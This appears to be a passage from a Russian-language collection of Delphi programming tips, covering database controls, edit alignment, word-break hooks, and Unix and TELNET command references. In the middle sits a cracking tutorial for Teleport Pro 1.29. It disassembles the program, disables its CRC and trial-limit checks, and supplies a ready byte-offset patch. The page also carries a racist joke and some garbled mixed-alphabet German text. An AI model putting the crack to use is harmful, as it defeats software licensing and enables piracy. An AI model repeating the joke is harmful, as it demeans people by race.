         if Controls[i].ClassName = 'TNavButton' then
         begin
           case TNavButton(Controls[i]).Index of
             nbFirst: tempGlyph.LoadFromFile(ExePath + 'first.bmp');
             nbPrior: tempGlyph.LoadFromFile(ExePath + 'previous.bmp');
             nbNext: tempGlyph.LoadFromFile(ExePath + 'Next.bmp');
             nbLast: tempGlyph.LoadFromFile(ExePath + 'Last.bmp');
             nbInsert: tempGlyph.LoadFromFile(ExePath + 'Insert.bmp');
             nbDelete: tempGlyph.LoadFromFile(ExePath + 'Delete.bmp');
             nbEdit: tempGlyph.LoadFromFile(ExePath + 'Edit.bmp');
             nbPost: tempGlyph.LoadFromFile(ExePath + 'Post.bmp');
             nbCancel: tempGlyph.LoadFromFile(ExePath + 'Cancel.bmp');
             nbRefresh: tempGlyph.LoadFromFile(ExePath + 'Refresh.bmp');
           end;
           TNavButton(Controls[i]).Glyph := tempGlyph;
         end;
       end;
     end;
   finally
     tempGlyph.Free;
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   ChangeDBNavImage(DBNavigator1);
 end;

Изменить подсказку для каждой кнопки TDBNavigator.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

*** Changing the TDBNavigator Buttons Hints *** The buttons hints are english but sometimes would be better for local use in other language. The possibility to change this hints is in principle given (Hints property) but after changing the texts the compiled hints remain the original. The solution is simple: you have to use the LoadFromFile method to load data from a file at run time. In this case the dbnButtonHints.txt file is the the same directory as the compiled file. The dbnButtonHints.txt file must contain all the 10 hints for the buttons (nbFirst, nbPrior, nbNext, nbLast, nbInsert, nbDelete, nbEdit, nbPost, nbCancel, nbRefresh) independently from the number of the visible buttons. *** Vегдndегиng der Hilfetexte von TDBNavigator-Кnцрfе *** Die Кnцрfе haben englische Hilfetexte, die soll man manchmal auf andere Sprache umstellen. Die Мцg1iсhкеit ist prinzipiell gegeben (Hints-Eigenschaft), aber die compiled Hilfetexte bleiben иnvегдndегt englisch anstelle der ььегsеtztеn Version. Die Lцsиng ist einfach: man mиЯ das LoadFromFile-Verfahren benutzen, um die Hilfetext-Daten in Echtzeit aus einer Textdatei einzulesen. Diese datei soll sich in gleichen Directory befinden wie die compiled Datei. Die dbnButtonHints.txt-Hilfetext-Datei soll jederzeit alle 10 Hilfetexteintragen enthalten, иnаьhдngig von Anzahl der eben sichtbaren Dгисккnцрfе. Und 1диft...
 type
     dbnNavigator: TDBNavigator;
 procedure TfrmDataInput.FormCreate(Sender: TObject);
 begin
   dbnNavigator.Hints.LoadFromFile('dbnButtonHints.txt');
 end;

Заголовок TDBGrid в две строки.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

type
   TAccessDBGrid = class(TDBGrid);
 procedure TForm1.DBGrid1DrawColumnCell(Sender: TObject;
   const Rect: TRect; DataCol: Integer; Column: TColumn;
   State: TGridDrawState);
 var
   S1, S2: String;
 begin
   with TAccessDBGrid(DBGrid1) do
   begin
     // Increase title height 
    // Titelhohe vergrossern 
    RowHeights[0] := 32;
     Canvas.Brush.Style := bsClear;
     // Column Titles 
    // Spalten Titel setzen 
    case Column.Index of
     0: begin
          Column.Title.Caption := '';
          S1 := 'Row 1';
          S2 := 'Row 2';
        end;
     1: begin
          Column.Title.Caption := '';
          S1 := 'Row 1';
          S2 := 'Row 2';
        end;
     end;
     // write title: 
    // Titel ausgeben: 
    Canvas.TextOut(Rect.Left+2, 2, S1);
     Canvas.TextOut(Rect.Left+2, 16, S2);
   end;
 end;

TDirectoryOutline. Ошибка в свойстве Directory.

Автор: Коробенков Владимир.

При присвоении свойству TDirectoryOutline.Directory строки, являющейся действительным файловым путем, компонент должен отобразить этот путь раскрытием соответствующей ветви дерева директорий (вызывая защищенный метод WalkTree(). Из-за ошибки в методе SetDirectory WalkTree не вызывается. Ошибка выявлена в Delphi 5, не исправлена и в Delphi 6.

ТИПОВЫЕ РЕШЕНИЯ. В методе SetDirectory модуля DirOutln.pas строку
if Copy(FDirectory, Length(FDirectory) - 1, 2) = ':\' then WalkTree(TempPath);
заменить на
if Copy(FDirectory, Length(FDirectory) - 1, 2) <> ':\' then WalkTree(TempPath);
и перекомпилировать модуль. Просто не использовать этот компонент. КОММЕНТАРИЙ: Проверено (Delphi 5). Ошибка реально существует. По-видимому, этот код не изменялся от самых ранних версий. Малоизвестный компонент TDirectoryOutline находится на странице Samples палитры компонентов. Это простой и вполне приличный способ получить визуальное дерево директорий. Он построен на основе TCustomGrid->TCustomOutline, а не на базе стандартного Win32-контрола TreeView, и потому лишен присущих ему ограничений и недостатков.

Модификация исходников, не входящих, строго говоря, в VCL, - не есть большая беда. Как вариант, можно предложить в подобных случаях держать модифицированную копию модуля у себя в проекте.

Пример TDrawGrid Drawcell.

Автор: Neil

procedure TForm1.DrawGrid1DrawCell(Sender: TObject; Col, Row: Longint;
  Rect: TRect; State: TGridDrawState);
var
  vRow, vCol: LongInt;
begin
  vRow := Row;
  vCol := Col;
  with Sender as TDrawGrid, Canvas do
  begin
    if (vRow = 0) or (vCol = 0) then
      Font.Color := clBlack
    else
      Font.Color := clRed;
    TextRect(Rect, Rect.Left, Rect.Top, Format('(%d,%d)', [vRow, vCol]));
  end;
end;

TDropper - Компонент для перетаскивания файлов.

Автор: Матвеев Игорь.

Все наверное знают, что существует такая технология обмена данными как Drag&Drop (переводится как "Перетащи и брось"). Суть в том, что пользователь может перетаскивать какие-то данные (например файлы) из одной программы в другую.

Например, в проводнике Windows файла и группы файлов можно перетаскивать между разными экземплярами проводника. В результате файл или группа файлов просто копируется в место назначения, а исходные данные - удаляются.

Такая архитектура обмена данными позволяет значительно упростить работу конечного пользователя. Например в архиваторе файлов WinRar встроены возможности не только принимать файлы, перетащенные в окно программы, и упаковывать их в текущий архив, но и перетаскивать файлы из архива, извлекая их в место назначения. Эти возможности приближают работу с архивами в WinRar к работе с обычными файлами в проводнике.

Принимать файлы легко - это сделать можно средствами API и ShellAPI, а вот как сделать, чтобы файлы можно было таскать из вашего приложения? Я думал над этим вопросом еще год назад и думал что это будет легко, а недавно мне это было просто необходимо для моего архиватора файлов.

В итоге решение было найдено - создан компонент TDropper, который позволяет внедрять в ваши проекты возможность перетаскивания файлов из окна вашей программы в окно проводника Windows или другой программы.

Загрузить компонент.

Работа с компонентом очень проста, вы должны установить свойство Enabled в True и в нужное время (в момент начала перетаскивания) вызвать метод TDropper.StartDrag. При этом курсор мыши меняется на стрелочку с плюсиком. А когда пользователь отпускает клавишу мыши вызывается событие TDropper.OnDropUp, в нем вы должны вписать в список Files имена файлов для перетаскивания.

Примечание: При работе из под Delphi, при перетаскивании могут возникнуть ошибки, которые ловятся Delphi, но в итоговом приложении они не обнаруживаются.

Компонент свободен для коммерческого и некоммерческого использования, а с предложениями и пожеланиями - пишите.

Компонент TEdit с возможностью задать выравнивание текста.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  Dazu mьssеn die CreateParams von der Klasse TEdit ььегsсhгiеьеn werden. 
  Folgende Unit kann als Komponente installiert werden. 
  All you have to do is to verride the CreateParams of the class TEdit. 
  Install the following unit as a component. 
}
 unit AlignEdit;
 interface
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   StdCtrls;
 type
   TAlign = (eaLeft, eaCenter, eaRight);
   TAlignEdit = class(TEdit)
   private
     { Private-Deklarationen }
     FAlign: TAlign;
     procedure SetAlign(const Value: TAlign);
   protected
     { Protected-Deklarationen }
     procedure CreateParams(var Params: TCreateParams); override;
   public
     { Public-Deklarationen }
     constructor Create(AOwner: TComponent); override;
   published
     { Published-Deklarationen }
     property Alignment: TAlign read FAlign write SetAlign default eaLeft;
   end;
 procedure Register;
 implementation
 constructor TAlignEdit.Create(Aowner: TComponent);
 begin
   inherited Create(AOwner);
   FAlign := eaLeft;
 end;
 procedure TAlignEdit.SetAlign(const Value: TAlign);
 begin
   if FAlign <> Value then
   begin
     FAlign := Value;
     RecreateWnd;
   end;
 end;
 procedure TAlignEdit.CreateParams(var Params: TCreateParams);
 begin
   inherited;
   case FAlign of
     eaLeft: Params.Style   := Params.Style or ES_LEFT;
     eaCenter: Params.Style := Params.Style or ES_CENTER;
     eaRight: Params.Style  := Params.Style or ES_RIGHT;
   end;
 end;
 procedure Register;
 begin
   RegisterComponents('SwissDelphiCenter', [TAlignEdit]);
 end;
 end.

TEdit с выравниваением текста по центру.

Статьи по Delphi (017)…

Президент Клинтон с целью увеличить общий интерес к наукам и техническим новшествам, пригласил несколько крупных компьютерных компаний участвовать в крупном издательском Мультимедиа-проекте с общей темой "Слоны". Названия частей проекта, сделанных соответственно компаниями: Арр1е: "Дружественные к пользователям Слоны и их подруга Мышь". IВМ: "Как продать Слона тому, кто хочет купить Беговую Лошадь". Nоvе11: "Соединяя Слонов". Вог1аnd: "Все Слоны должны стоить $99". NеХТ: "Красим Слона в черный цвет". Мiсгоsоft: "Почему Вы должны купить Мiсгоsоft Windоws".
TEdit не поддерживает выравниваение текста по центру и по правой стороне - лучше использовать компонент TMemo. Вам понадобится запретить пользователю нажимать Enter, Ctrl-Enter и всевозможные комбинации клавиш со стрелками, чтобы избежать появления нескольких сторк в Memo. Этого можно добиться и просматривая содержимое текста в TMemo в поисках кода возврата каретки (13) и перевода строки(10) на событиях TMemo Change и KeyPress. Можно также заменять код возврата каретки на пробел - для того чтобы позволять вставку из буфера обмена многострочного текста в виде одной строки.

Пример:

procedure TForm1.FormCreate(Sender: TObject);
begin
  Memo1.Alignment := taCenter;
  Memo1.MaxLength := 24;
  Memo1.WantReturns := false;
  Memo1.WordWrap := false;
end;
procedure MultiLineMemoToSingleLine(Memo: TMemo);
var
  t: string;
begin
  t := Memo.Text;
  if Pos(#13, t) > 0 then
  begin
    while Pos(#13, t) > 0 do
      delete(t, Pos(#13, t), 1);
    while Pos(#10, t) > 0 do
      delete(t, Pos(#10, t), 1);
    Memo.Text := t;
  end;
end;
procedure TForm1.Memo1Change(Sender: TObject);
begin
  MultiLineMemoToSingleLine(Memo1);
end;
procedure TForm1.Memo1KeyPress(Sender: TObject; var Key: Char);
begin
  MultiLineMemoToSingleLine(Memo1);
end;

Поиск и управление TEdit и TField.

Автор: Robert Wittig
Компания Microsoft благодарит Вас за покупку операционнй системы Microsoft ScanDisk.
Я хотел бы менять цвет компонентов TDBEdit и TEdit, расположенных на форме, на другой, "отчетливый" цвет, в том случае, если с помощью них требуется ввести какие-либо данные.

Как насчет этого? Представляю вашему вниманию два метода. Первый метод задает цвет каждому DBEdit, имеющему требуемое поле. Второй метод (более сложный) задает цвет каждому БД-компоненту, имеющему необходимое поле.

procedure TForm3.Button3Click(Sender: TObject);
var
  Control: Integer;
begin
  for Control := 0 to ControlCount - 1 do
    if Controls[Control] is TDBEdit then
      with TDBEdit(Controls[Control]) do
        if DataSource.DataSet.FieldByName(DataField).Required then
          Color := clRed;
end;
{ Данный метод будет работать только в случае, если
БД-компонент обладает тремя полями: DataSource, типа
TDataSource, DataField, типа String, и Color, типа
TColor (это не должно быть проблемой). Также вам
необходимо включить TypInfo в список используемых
модулей }
procedure TForm3.Button4Click(Sender: TObject);
var
  Control: Integer;
  DataSource: TDataSource;
  DataField: string;
  function GetDataSource(Instance: TComponent): Boolean;
  var
    PropInfo: PPropInfo;
  begin
    Result := False;
    PropInfo := TypInfo.GetPropInfo(Instance.ClassInfo, 'DataSource');
    if (PropInfo <> nil) and
      (PropInfo^.PropType^.Kind = tkClass) then
    begin
      DataSource := TDataSource(TypInfo.GetOrdProp(Instance, PropInfo));
      Result := DataSource <> nil;
    end;
  end;
  function GetDataField(Instance: TComponent): Boolean;
  var
    PropInfo: PPropInfo;
  begin
    Result := False;
    PropInfo := TypInfo.GetPropInfo(Instance.ClassInfo, 'DataField');
    if (PropInfo <> nil) and
      (PropInfo^.PropType^.Kind = tkString) then
    begin
      DataField := TypInfo.GetStrProp(Instance, PropInfo);
      Result := True;
    end;
  end;
  procedure SetColor(Instance: TComponent; Color: TColor);
  var
    PropInfo: PPropInfo;
  begin
    PropInfo := TypInfo.GetPropInfo(Instance.ClassInfo, 'Color');
    if (PropInfo <> nil) and
      (PropInfo^.PropType^.Kind = tkInteger) then
      TypInfo.SetOrdProp(Instance, PropInfo, Ord(Color));
  end;
begin
  for Control := 0 to ControlCount - 1 do
    if GetDataSource(Controls[Control]) and
      GetDataField(Controls[Control]) and
      (DataSource.DataSet <> nil) and
      DataSource.DataSet.FieldByName(DataField).Required then
      SetColor(Controls[Control], clRed);
end;

Как создать нестандартную процедуру переноса слов для TEdit, TMemo.

Негр играет в шахматы с компьютером и получает мат на 15 ходу. В сердцах бьет по клавиатуре: - Проклятый виндоуз, опять глючит.

В следующем примере создается процедура разбиения слов при переносах для TMemo. Заметьте, что реализованная процедура просто всегда разрешает перенос. Для дополнительной информации см.таже документацию к сообщению EM_SETWORDBREAKPROC.

var
  OriginalWordBreakProc: pointer;
  NewWordBreakProc: pointer;
function MyWordBreakProc(LPTSTR: pchar;
  ichCurrent: integer;
  cch: integer;
  code: integer): integer
{$IFDEF WIN32} stdcall;
{$ELSE}; export;
{$ENDIF}
begin
  result := 0;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  OriginalWordBreakProc := Pointer(
    SendMessage(Memo1.Handle,
    EM_GETWORDBREAKPROC,
    0,
    0));
{$IFDEF WIN32}
  NewWordBreakProc := @MyWordBreakProc;
{$ELSE}
  NewWordBreakProc := MakeProcInstance(@MyWordBreakProc,
    hInstance);
{$ENDIF}
  SendMessage(Memo1.Handle,
    EM_SETWORDBREAKPROC,
    0,
    longint(NewWordBreakProc));
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
  SendMessage(Memo1.Handle,
    EM_SETWORDBREAKPROC,
    0,
    longint(@OriginalWordBreakProc));
{$IFNDEF WIN32}
  FreeProcInstance(NewWordBreakProc);
{$ENDIF}
end;

Teleport Pro Version 1.29.

Оформил: DeeCo Автор: http://www.cracklab.narod.ru

Я вот решил поисследовать что-нибудь известное, и наткнулся на этот замечательный продукт, который способен закачивать целиком целые сервера, причем делает он это с огромным количеством настроек. Вобщем неплохая вещь. И как мне и нужно было, эта прога имеет ограничение в использовании (её можно запускать только 40 раз), регистрация, как мне показалось, не оказалась сложноватой, и я решил покракать её.

Я запустил программу и очень удивился, когда не увидел ни одного наг-окна или ещё чего-нибудь. Я изменил пару байтиков в программе, чтобы проверить программу на присутствие CRC проверки и оказалось, что она есть!!! Выскочил messageboxA с надписью "This programm was alterd!" или около того, вобщем я открыл WDasm и дизассемблировал pro.exe, затем открыл String Reference и начал искать подозрительные строки и вот я натолкнулся на строку "This program's name has been changed" , я поменял имя программы с "pro.exe" на "pro-test.exe" и запустил программу, при этом выскочило сообщение с той самой строкой о неправильном имени! Я нажал на эту строку в WDasm'e и увидел вот что:

 *  Possible String Data Reffrom Data Obj - >" This program's name has been  changed;"
                                          - >" please rename the program to its"
                                          - >" original name."
                                                  |
  :0040B87F 6878C74700              push 0047C778
  :0040B884 E8A1FF0300              call 0044B82A
  :0040B889 6A02                    push 00000002
  :0040B88B E8BD240200              call 0042DD4D
  * Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
  |:0040B860(C), :0040B87B(C)
  |
  *  Possible String Data Reffrom Data Obj - >" q#P "
                                                  |
  :0040B890 A110C74700              mov eax, dword ptr [0047C710]
  :0040B895 8B4DE4                  mov ecx, dword ptr [ebp-1C]
  :0040B898 57                      push edi
  :0040B899 8B7804                  mov edi, dword ptr [eax+04]
  :0040B89C 8B45E8                  mov eax, dword ptr [ebp-18]
  :0040B89F 2BC1                    sub eax, ecx
  :0040B8A1 3BF8                    cmp edi, eax
  :0040B8A3 7322                    jnb 0040B8C7
  :0040B8A5 2BC7                    sub eax, edi
  :0040B8A7 83E808                  sub eax, 00000008
Я проскролил окно листинга до места входа в эту функцию:
* Referenced by a CALL at Address:
  |:00415298   ;отсюда вызывается процедура
  |
  :0040B82F B818074600              mov eax, 00460718
  :0040B834 E8BF0B0200              call 0042C3F8
  :0040B839 83EC10                  sub esp, 00000010
  :0040B83C 53                      push ebx
  :0040B83D 33DB                    xor ebx, ebx
  :0040B83F 56                      push esi
  :0040B840 53                      push ebx
  :0040B841 6A20                    push 00000020
  :0040B843 53                      push ebx
  :0040B844 8D4DE4                  lea ecx, dword ptr [ebp-1C]
  :0040B847 E8A665FFFF              call 00401DF2
  :0040B84C FF35185A4800            push dword ptr [00485A18]
  :0040B852 8D4DE4                  lea ecx, dword ptr [ebp-1C]
  :0040B855 895DFC                  mov dword ptr [ebp-04], ebx
  :0040B858 E8AD000000              call 0040B90A
  :0040B85D 395D08                  cmp dword ptr [ebp+08], ebx
  :0040B860 742E                    je 0040B890
  :0040B862 FF7508                  push [ebp+08]
  :0040B865 FF35185A4800            push dword ptr [00485A18]
  :0040B86B E89CF6FFFF              call 0040AF0C
  :0040B870 59                      pop ecx
  :0040B871 50                      push eax
Я перешел по адресу 00415298 (Shift-F12), по которому и происходил вызов процедуры проверки правильного имени файла, и увидел вот что:
  :0041528B 83EC40                  sub esp, 00000040
  :0041528E 53                      push ebx
  :0041528F 56                      push esi
  :00415290 57                      push edi
  :00415291 8BF1                    mov esi, ecx
  *  Possible String Data Reffrom Data Obj - >" pro.exe"
  |
  :00415293 687CDB4700              push 0047DB7C
  :00415298 E89265FFFF              call 0040B82F ;(*)вызов процедуры проверки
  :0041529D 8BCE                    mov ecx, esi
  *  Possible String Data Reffrom Data Obj - >" Tennyson Maxwell"
  |
  :0041529F C70424B8D84700          mov dword ptr [esp], 0047D8B8
  :004152A6 E87E5B0400              call 0045AE29
  *  Possible String Data Reffrom Data Obj - >" Teleport Pro"
  |
  :004152AB 684CD84700              push 0047D84C
  :004152B0 8D8E6D050000            lea ecx, dword ptr [esi+0000056D]
  :004152B6 E83FCDFEFF              call 00401FFA
  :004152BB FF35185A4800            push dword ptr [00485A18]
  :004152C1 8BCE                    mov ecx, esi.

Как видите, по адресу :00415298 происходит вызов процедуры проверки. Чтобы проверки не было - достаточно забить nор'ами вызов этой процеддуры. Для этого открываем hex-editor, идём по указанному адресу и меняем "E89265FFFF" на "9090909090" - теперь можно менять имя файла на любое другое :) Но как оказалось в этой же функции происходит ПРОВЕРКА НА ИЗМЕНЕНИЯ В ИСПОЛНЯЕМОМ файле (то есть CRC проверка) - Что ОООЧЕНЬ ГЛУПО! Таким образом убрав эту проверку мы тем самым убрали и проверку CRC - теперь можно править файл pro.exe как душе угодно!

Теперь я запустил 40 раз программу, чтобы исчерпать все пробные запуски и после попытки закачать что-дибо увидел сообщение о том, что все 40 раз вышли! Я опять открыл String Reference и нашел нужную строку два раза вот тут:

  * Referenced by a (U)nconditional or (C)onditional Jump at Address:
  |:0041DA22(C)
  |
  :0041DA61 A1F8204800              mov eax, dword ptr [004820F8]
  :0041DA66 3898DD040000            cmp byte ptr [eax+000004DD], bl
  :0041DA6C 743D                    je 0041DAAB ; тут проверяют - истёк ли триал на 40 запусков 
                                                ; или нет и если не истек - прыгаем!
  :0041DA6E A184E44700              mov eax, dword ptr [0047E484]
  :0041DA73 8945EC                  mov dword ptr [ebp-14], eax
  * Possible Reference to String Resource ID= 070 58 : "Sorry! The free evaluation period fo..."
                                                  |
  :0041DA76 68921B0000              push 00001B92
  :0041DA7B 8D4DEC                  lea ecx, dword ptr [ebp-14]
  :0041DA7E C745FC04000000          mov [ebp-04], 00000004
  :0041DA85 E85B730200              call 00444DE5
  :0041DA8A 53                      push ebx
  :0041DA8B 57                      push edi
  :0041DA8C 57                      push edi
  :0041DA8D C745FC05000000          mov [ebp-04], 00000005
  :0041DA94 FF75EC                  push [ebp-14]
  :0041DA97 E8BD8EFFFF              call 00416959
  :0041DA9C 83C410                  add esp, 00000010
  :0041DA9F 834DFCFF                or dword ptr [ebp-04], FFFFFFFF
  :0041DAA3 8D4DEC                  lea ecx, dword ptr [ebp-14]
  :0041DAA6 E9BF000000              jmp 0041DB6A.

Как видим, по адресу 0041DA6C, нужно заменить je 0041DAAB на jmp 0041DAAB и теперь мерзких сообщений мы не увидим и всё будет работать как надо!

Но строка о незарегестрированности находится два раза в String Reference первый раз мы уже разобрали, а второй вот:

  :00412D52 B814124600              mov eax, 00461214
  :00412D57 E89C960100              call 0042C3F8
  :00412D5C 83EC6C                  sub esp, 0000006C
  :00412D5F 53                      push ebx
  :00412D60 56                      push esi
  :00412D61 57                      push edi
  :00412D62 8BF9                    mov edi, ecx
  :00412D64 8D4D88                  lea ecx, dword ptr [ebp-78]
  :00412D67 E876300000              call 00415DE2
  :00412D6C 8B7508                  mov esi, dword ptr [ebp+08]
  :00412D6F 33DB                    xor ebx, ebx
  :00412D71 395D0C                  cmp dword ptr [ebp+0C], ebx
  :00412D74 895DFC                  mov dword ptr [ebp-04], ebx
  :00412D77 7434                    je 00412DAD ; здесь проверка нужно ли окно "О программе" 
                                                ; при запуске, если вышли 40 тестовых запуска. 
                                                ; Если не нужно - прыгаем!
  :00412D79 A184E44700              mov eax, dword ptr [0047E484]
  :00412D7E 89450C                  mov dword ptr [ebp+0C], eax
  *  Possible Reference to String Resource ID=070 58 : "Sorry! The free evaluation period for..."
                                                  |
  :00412D81 68921B0000              push 00001B92
  :00412D86 8D4D0C                  lea ecx, dword ptr [ebp+0C]
  :00412D89 C645FC01                mov [ebp-04], 01
  :00412D8D E853200300              call 00444DE5
  :00412D92 8D450C                  lea eax, dword ptr [ebp+0C]
  :00412D95 8D4DF0                  lea ecx, dword ptr [ebp-10].

Как вы уже догадались, по адресу 00412D77, нужно чтобы мы всегда прыгали, поэтому меняем je 00412DAD на jmp 00412DAD и при запуске никаких напоминаний не будет!

Ну а для самых ленивых готовый крак:
--------вырезать тут------
TeleportPro v1.29 Crack by vallkor//PTDS (vallkor@chat.ru)
removes all limits :)
pro.exe
00015298: E8 90
00015299: 92 90
0001529A: 65 90
0001529B: FF 90
0001529C: FF 90
0001DA6C: 74 EB
00012D77: 74 EB
--------вырезать тут------

PS: статья написана только в образовательных целях, чтобы показать компаниям на возможные дыры в защите своих продуктов! Если вам понравилась описанная программа - вы обязаны купить её!!!

Исследовал и наваял туториал: vallkor //PTDS (vallkor@chat.ru) {Комманда PTDS нуждается в новых членах! Если вы считаете, что способны на многое и хотите поделиться своими знаниями и взамен получить новые пишите мне}.

Команды Telnet.

Оформил: DeeCo

создание файлового архива tar, cpio
архивация файла compress, pack
замер времени исполнения команды time, timex
запуск программы в указанное время at
вывод файла на экран cat, page, dtpad, textedit. xedit
постраничный вывод файла на экран more
вывод на экран первых десяти строк файла head
вывод на экран последних десяти строк файла tail
вывод содержимого заархивированного файла peat
выполнение вычислений be, dc
вывод даты и времени date
изменение даты модификации файла на текущую touch
деархивация файла unpack, uncompress
декодирование UU-кода uudecode
вывод объема свободного дискового пространства df
вывод объема дискового пространства,
занятого данным каталогом du
завершение работы exit
печать заголовка banner
захват изображения на экране xv, xwd
печать изображений xdpr, xpr
вывод имени системы uname
запуск интерпретатора командной строки sh, csh, ksh
запуск интерпретатора командной строки на удаленной системе rsh
личный календарь cm, dtcm
вывод календаря cal, cm, dtcm
калькулятор calctool, dtcalc, xcalc
создание каталога mkdir, filemgr dtfile
вывод размера каталога du
вывод списка файлов и подкаталогов данного каталога Is
смена текущего каталога cd
удаление каталога rmdir, filemgr, dtfile
вывод имени текущего каталога pwd
сравнение содержимого двух каталогов dircmp
UU-кодирование файла для пересылки его по электронной почте uuencode
выполнение команды в указанное время at
ввод команды при работе с графическим интерфейсом xterm, dtterm, shelltool
компиляция С-программ, копирование файлов cat, cp, filemgr, dtfile
копирование файлов на удаленную систему и с удаленной системы гср
копирование файлов между UNIX-системами uucp
вычисление контрольной суммы файла sum
нумерация строк текстового файла n1
объединение нескольких файлов в один cat
объединение отсортированных файлов по общему полю join
объединение файлов в качестве двух столбцов paste
вывод или установка значений переменных окружения env
ожидание завершения процесса wait
отправка сообщения другому пользователю write
очистка экрана clear
вывод состояния службы печати Ipstat
запуск службы печати Ipsched
останов службы печати Ipshut
печать заголовка banner
персональный календарь calendar, cm, dtcm
подсчет количества слов в текстовом файле we
выполнение повторяющихся задач crontab
поиск текстовых строк egrep, grep, fgrep
поиск и замена символов tr
поиск в файле awk, nawk
поиск файлов find
вывод списка пользователей listusers
вывод информации о других пользователях системы who
поиск информации о других пользователях системы finger
выполнение последовательности команд batch
запуск команды с пониженным приоритетом nice
проверка правописания spell
прерывание процесса kill
вывод списка процессов PS
присоединение содержимого файлов к существующему файлу cat
разбиение файла на части csplit, split
редактирование текстового файла vi, ed, dtpad, textedit,
xedit
резервирование информации tar, cpio
поиск и замена символов tr
вывод списка известных систем uuname
вывод системного идентификатора пользователя id
вывод системных сообщений news
подсчет числа слов в файле we
вывод состояния службы UUCP uustat
создание нового текстового файла cat, dtpad, textedit,
xedit
установка соединения с удаленным
терминалом ct
установка соединения с удаленной
UNIX-системой cu
разрешение/запрет вывода сообщений на
терминал mesg
вывод сообщений news
сортировка файла sort
сортировка и обработка файла awk, nawk
вывод состояния машин в сети ruptime
вывод списка файлов в каталоге Is
сравнение содержимого двух каталогов dircmp
сравнение содержимого двух отсортированных файлов comm
сравнение трех файлов diff3
сравнение двух файлов и вывод отличающихся строк diff, bdiff
сравнение двух файлов cmp
сравнение двух файлов и вывод
отличающихся и совпадающих строк sdiff
создание ссылок In
печать на стандартный вывод echo
запись стандартного вывода в файл tee
вывод столбца из отсортированного файла cut
поиск текстовых строк в бинарном файле strings
поиск текстовых строк egrep, grep, fgrep
табличный процессор tbi
настройка табуляции tabs
смена текущего каталога cd
вывод имени текущего каталога pwd
открытие окна терминала xterm,
dtterm,
shelltool
вывод информации о терминале tput
настройка конфигурации терминала stty
вывод параметров терминала tty
определение типа файла file
удаление из очереди заданий, созданных
командой at atrm
удаление заданий из очереди печати cancel
удаление каталога rmdir,
filemgr,
dtfile
удаление файла rm, filemgr,
dtfile
удаление форматирующих символов
из файла col
копирование файлов с удаленной системы rep, uucp,
ftp
выполнение команды на удаленной системе uux
запуск интерпретатора командной строки на
удаленной системе rsh
вход в удаленную систему telnet,
riogin
вывод информации о соединениях с
удаленными системами uulog
создание нового текстового файла cat, dtpad,
textedit,
xedit
изменение даты модификации файла на
текущую touch
вывод полного имени файла basename
вывод файла на экран cat, page, dtpad, textedit, xedit
постраничный вывод файла на экран more
вывод на экран первых десяти строк файла head
вывод на экран последних десяти строк файла tail
вывод списка файлов в каталоге Is
копирование файла cat, cp, filemgr, dtfile
определение типа файла file
поиск файла find
разбиение файла split
редактирование файла vi, ed, dtpad. textedit, xedit
удаление файла rm
шифрование файла crypt
печать формул eqn, neqn
отображение шрифта xfd, xfontsel
вывод списка доступных шрифтов xlsfonts, fslsfonts
отправка и чтение электронной почты mailx, dtmail, mailtool
уведомление о получении новых писем по электронной почте notify, xbiff

TELNET.

Оформил: DeeCo

Введение

Протокол TELNET позволяет вам подсоединиться к удаленному компьютеру, находящемуся где-то “на просторах” Internet, и работать с ним как будто бы вы используете локальную систему, скажем, непосредственно в техническом университете. На практике ваши возможности лимитируются тем уровнем доступа, которым задан для вас администратором удаленной системы. Во всяком случае вы должны иметь свой идентификатор ID (userid или username) и пароль для входа в систему. В то же время, только относительно небольшое количество компьютеров в Internet позволяют свободный доступ через TELNET. Использование TELNET Чтобы подключиться к удаленной машине в Internet и произвести те или иные действия в ней, запустите программу telnet, которая является пользовательским интерфейсом протокола TELNET (в данном случае речь идет о вводе команды на UNIX или UNIX-подобных системах, о работе программ-клиентов для telnet на других платформах будет сказано отдельно). Формат команды (не полная, но достаточная для практики, версия) telnet host [port] где host - официальное доменное имя машины или ее псевдоним (alias), или ее IP-адрес в виде цифр, разделенных точками; port - определяет номер порта (адрес приложения). Если номер порта не задан, то принимается номер порта TELNET по умолчанию - 23. Если команда telnet используется без аргументов, тогда вводится командный режим, о котором сигнализирует подсказка.

telnet >

В этом режиме доступа и выполняются следующие основные команды:

Open host [-port], - открывает соединение с названной системой; close - закрывает TELNET соединения и возвращает вас в командный режим; quit - заканчивает все открытые TELNET соединения и выводит вас из telnet;

! [команда] - выполнение отдельной команды в shell на локальной системе; status - показывает текущий статус telnet;

? [команда] - получение помощи. Если аргумента нет, то telnet выдает список всех своих команд. Возможные сообщения об ошибках.

Unknown Host 1. Имя или адрес были набраны неправильно Connection Refused 1. Удаленный компьютер функционирует с ошибками Connection Dropped Проблема с сетью или удаленным хостом, приведшая к закрытию соединения.

Особенности.

Порой весьма сложно закрыть TELNET-соединения, например, из-за резкого замедления прохождения IP-пакетов или разрыва связи по выделенной линии. Лучший совет - внимательно читать все инструкции, которые появляются, когда вы делаете login в систему. Если же на экране нет ничего, что могло бы помочь, попробуйте одну из этих команд:

exit, quit, logout, //end, end, leave, bye, 
      disconnect, goodbye, ciao, Ctrl-D, или Ctrl-Z.

В последнем случае на ряде платформ Ctrl-Z переводит ваше TELNET соединение в фоновый режим с выводом номера процесса, после чего желательно оборвать этот процесс командой.

Kill IDprocess.

Если перечисленные команды не приводят к нужному результату, то остается Ctrl-] или Ctrl-^, которые заканчивают TELNET соединение. Это вернет Вас в режим подсказки telnet>. Введите quit или exit после telnet>, этим Вы закончите свой сеанс.

Некоторые примеры и адреса.

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ShlObj, Buttons;
//необходимые константы
const
  LM20_NNLEN = 12;
  SHPWLEN = 8;
  SHI50F_RDONLY = 1;
  SHI50F_FULL = 2;
  STYPE_DISKTREE = 0;
  MaxNetArrayItems = 512;
  //формируем тип для записи с необходимыми параметрами
type
  //для Win'9x
  TShareInfo50 = packed record
    shi50_netname: array[0..LM20_NNLEN] of Char; //сетевое имя
    shi50_type: Byte; //тип ресурса
